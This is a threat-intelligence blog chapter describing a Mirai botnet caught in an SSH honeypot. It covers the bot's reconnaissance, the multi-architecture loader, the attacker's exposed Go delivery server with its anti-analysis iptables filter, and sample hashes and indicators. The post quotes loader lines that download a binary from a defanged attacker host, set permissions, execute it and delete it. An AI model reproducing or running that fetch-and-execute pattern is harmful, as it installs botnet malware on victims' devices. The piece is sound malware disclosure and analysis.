ES EN
Index

Mirai · Chapter 3

The botnet that left its code out in the open

Another one walks in and drops its critter. But this one left a door open on its own delivery server — and inside was the source code. A multi-architecture Mirai, caught red-handed.

A new family in the trap. After the two chapters on XorDDoS, this time a Mirai came in — the other great lineage of IoT botnets. The infection sequence is a sibling of the last one, but with a twist: the attacker left the source code of his own server out in the open. An OPSEC gift you don't turn down.

This chapter is the hunt: how it got in, what it dropped, and what I found when I pulled the thread all the way back to its delivery box. The teardown of the binary — the bot itself — is in Chapter 4.

01The catch

A bot again, not a person. It came in by brute force and acted in under a second, without poking around.

The three steps below carry the same timestamp: they all happened within the same tenth of a second. That's the giveaway — no hand types three commands in a hundred milliseconds.

  1. 0.0sComes in over SSH with a dictionary credential (root). The trap opens up for it.
  2. Fingerprints the architecture: fires off uname -s -v -n -m and peeks at /proc/version and /etc/os-release. It needs to know what CPU the victim has.
  3. cd /tmp → downloads a script called ok (wget and curl, in case one fails) → sh okrm -rf ok ok.1.
The recon, with a safety netThe uname command came wrapped in a one-liner that tries uname, /bin/uname, busybox uname and, if nothing answers, falls back to reading /proc/version. It takes nothing for granted: it wants the architecture no matter what, because which of its binaries to run depends on it.

That ok is a loader: it isn't the bot, it's what brings the bot in. I captured it whole.

02The loader, laid bare

Twelve lines, identical except for a name. Each one downloads a binary, gives it permissions, runs it with an argument (bc) and deletes it:

ok · multi-architecture loader
# (12 lines, one per CPU architecture)
wget hxxp://5.182.210[.]174/58bab5; curl -O hxxp://5.182.210[.]174/58bab5
chmod 777 58bab5; ./58bab5 bc; rm -rf 58bab5 58bab5.1
# ...ae754a, 36393a, 6e45aa, fbbca4, f367ae, ab0d64, 1f62ce...

Three things worth saying about this piece:

  • It tries all 12 architectures. It fires off all twelve binaries; only the one that matches the victim's CPU runs, the rest fail silently. Covering ARM, MIPS, x86, PowerPC, SPARC… is how one and the same bot infects everything from a camera to a server.
  • Rotating names. Every time ok is requested, it brings different filenames (6 random hex chars). Like the gibberish from Chapter 1, but taken to the server: blocking by name is useless.
  • The bc tag. The argument each binary is run with is the campaign identifier the bot will report back to its control server — it tells it which campaign it came from.

The wget and the curl on the same line are a belt-and-braces move: if the box doesn't have one, it has the other. And the .1 in the deletion cleans up the duplicate that curl -O leaves behind when wget has already grabbed the file. Little touches from someone who has watched their script fail on oddball machines.

03The server that left its door open

The ok points everything at one server: 5.182.210[.]174. I went to take a look — read-only, touching nothing — and found the root wide open as a directory listing. There were the binaries… and two files that shouldn't have been there: http and http.go. The attacker had left the source code of his own delivery server out in plain sight.

It's a FileServer written in Go (its 404 — "404 page not found" — is the unmistakable fingerprint of net/http). Short, functional, and with one telling detail: an anti-snooper filter.

http.go · the filter (real fragment)
// Permite apenas requisições de wget e curl
if !strings.HasPrefix(userAgent, "curl") &&
   !strings.HasPrefix(userAgent, "Wget") &&
   !strings.HasPrefix(userAgent, "axel") {
    blockedIPs[clientIP] = time.Now().Add(10 * time.Minute)
    blockIP(clientIP)   // iptables -A INPUT -s IP -j DROP
    http.Error(w, "403 Forbidden", http.StatusForbidden)
}

It only serves the malware to whoever presents as wget, curl or axel. Anyone else — a browser, a scanner, a researcher — it drops into iptables and bans for 10 minutes. It's a deliberate defense against analysis: they want only their victims to reach the files.

And the defense has a hole of its ownLook at how it works out the address it's about to ban: it chops six characters off the right of r.RemoteAddr, which arrives in the form ip:port. That takes for granted that the source port has five digits. When the caller comes out of a four-digit port, the chop eats a digit of the IP as well — and iptables ends up blocking an address that isn't theirs. They wrote a lock against snoopers that, for some of the snoopers, bolts somebody else's door.
The author's signatureThe code comments are in Portuguese ("Adiciona o IP ao iptables para bloqueio", "Permite apenas requisições de wget e curl"). Added to the simplicity of the setup, it points to a Portuguese-speaking operator. It isn't an attribution — it's a clue, the kind you file away in case another piece fits later.
The mystery of the rotating namesSince http.go only serves static files, it can't be the one inventing the names. There must be another process on the box regenerating ok in a loop: it creates 12 random names, copies the binaries to those names, rewrites ok and a few seconds later deletes them. That's why the script's names kept expiring — but the "master" names in the directory listing were still there, and through them I walked off with the complete collection.

04The specimen

Twelve binaries, one per architecture, the typical size of an IoT bot. I wrote here that they were all static, stripped ELFs, no symbols. Ten of them are. Two aren't. I found out going back over the batch with a file — which is the first thing you should do, and which I'd done on three binaries instead of on all twelve.

One of them, 44,744 bytes, isn't static: it's dynamically linked against uClibc, so it depends on finding its libraries on whatever machine it lands. The other weighs 123,851 bytes, more than double its siblings, and for a specific reason: it isn't stripped. It still carries the debug information the rest had taken out.

And here's the part that stings, because the evidence was published from day one: the card just below says 44 KB – 124 KB. Those two ends are exactly those two binaries. The range I published myself was already saying the batch wasn't uniform. It just needed reading.

That one slipped through half-cleaned is an oversight on their part. And it handed me the best thing in this chapter.

A binary that hasn't been stripped keeps the paths of the machine it was built on. These:

paths inside the uncleaned binary
/home/landley/aboriginal/aboriginal/build/temp-armv7l/gcc-core/gcc/config/arm/lib1funcs.asm
/home/landley/aboriginal/aboriginal/build/simple-cross-compiler-armv7l/bin/../cc/include

Aboriginal Linux is a set of cross-compilers by Rob Landley — and it's exactly the one that shipped with the Mirai source code when it leaked in 2016. That isn't an antivirus label or a string coincidence: it's the mark of the workshop where this batch was made, and it comes straight out of the binary.

Two oversights of theirs and one of mineThis attacker had already left the directory listing open, and their entire source code with it — that's what the previous section is about. This is the second one: an uncleaned binary in a batch of twelve. And mine comes right after, because I took them all for identical without checking them one by one.
SPECIMEN 002 · ELF ×12

Mirai · "milnetv4" variant

◈ LIVE · DO NOT RUN
Type
ELF · 10 static and stripped · 1 dynamic (uClibc) · 1 with symbols · 12 architectures
Size
44 KB – 124 KB
Packing
none (UPX ruled out)
Function
DDoS bot (multi-vector, C2-driven)
C2
kappadocia.net / 141.98.10.50 (in strings; the rest of the config, encrypted)
SHA-256 (x86-64)
bf0aabf517685756f16b22f4b1907113a1cd160fa7b5ee384cb554b42b311841

The spread of CPUs covered — the whole reason the multi-architecture loader exists:

ArchitectureSizeSHA-256
x86-6450,176 Bbf0aabf517685756f16b22f4b1907113a1cd160fa7b5ee384cb554b42b311841
ARM52,496 B8bdbe21eafc7223a75ea9d075237d389e0c39f6370721f1ea36214989e5bab63
MIPS (BE)67,496 B5c502903694591a219ca263247c4c159967c5838c9a85641f3fb908b983d1e32
MIPS (LE)68,632 Ba75a98641037e42abb4c543d90e81dafdae3b27e90972b705a2e9242a5bee123
PowerPC50,092 B9d44d4d051f6aa3fbc95fab0aae818347a602d655fa7f1fba6267e728d7ff2d3
SPARC54,596 Babda6887930f4e2e1047b39adf23bbf8bdee9e15c7e2101245bb690be7d80488
Motorola m68k50,780 B3366350561c41f5d15994244bfd7358ca256d16a1e954d7a986bd4d2d50c895e
Renesas SH46,288 B41ac975aa0638b879bade9f672fbcdacb303bc6ceb5e92083b85af9cd440cd04

(The table lists one representative per CPU family: eight rows for the twelve binaries. The extra variants —some architectures, like ARM, come in several— are left out, though the size range in the spec sheet covers them all.) In their strings, the C2 already shows up in the clear (kappadocia.net, 141.98.10.50) — but the rest of its configuration and all its orders are encrypted. That's the job for the next chapter.

House ruleThe binaries are not published; the hashes are. With those SHA-256s anyone can identify the samples on VirusTotal or MalwareBazaar without me handing out the critter. Sharing the hash is disclosure; handing out the binary is propagation.

05Indicators (IOCs)

TypeValue
Attacker IP (loader)45.198.224.26
Delivery serverhxxp://5.182.210[.]174 (Go FileServer)
Bot C2kappadocia.net · 141.98.10.50
Campaign identifier"bc" argument
Server filteronly UA curl / Wget / axel · rest → iptables DROP 10 min
SHA-256 (x86-64)bf0aabf517685756f16b22f4b1907113a1cd160fa7b5ee384cb554b42b311841

To be continued — the bot keeps its C2 and its orders under lock and key. In Chapter 4 I crack it open with Ghidra: the decryption, the botnet's real name and its full arsenal. 🍯

Comments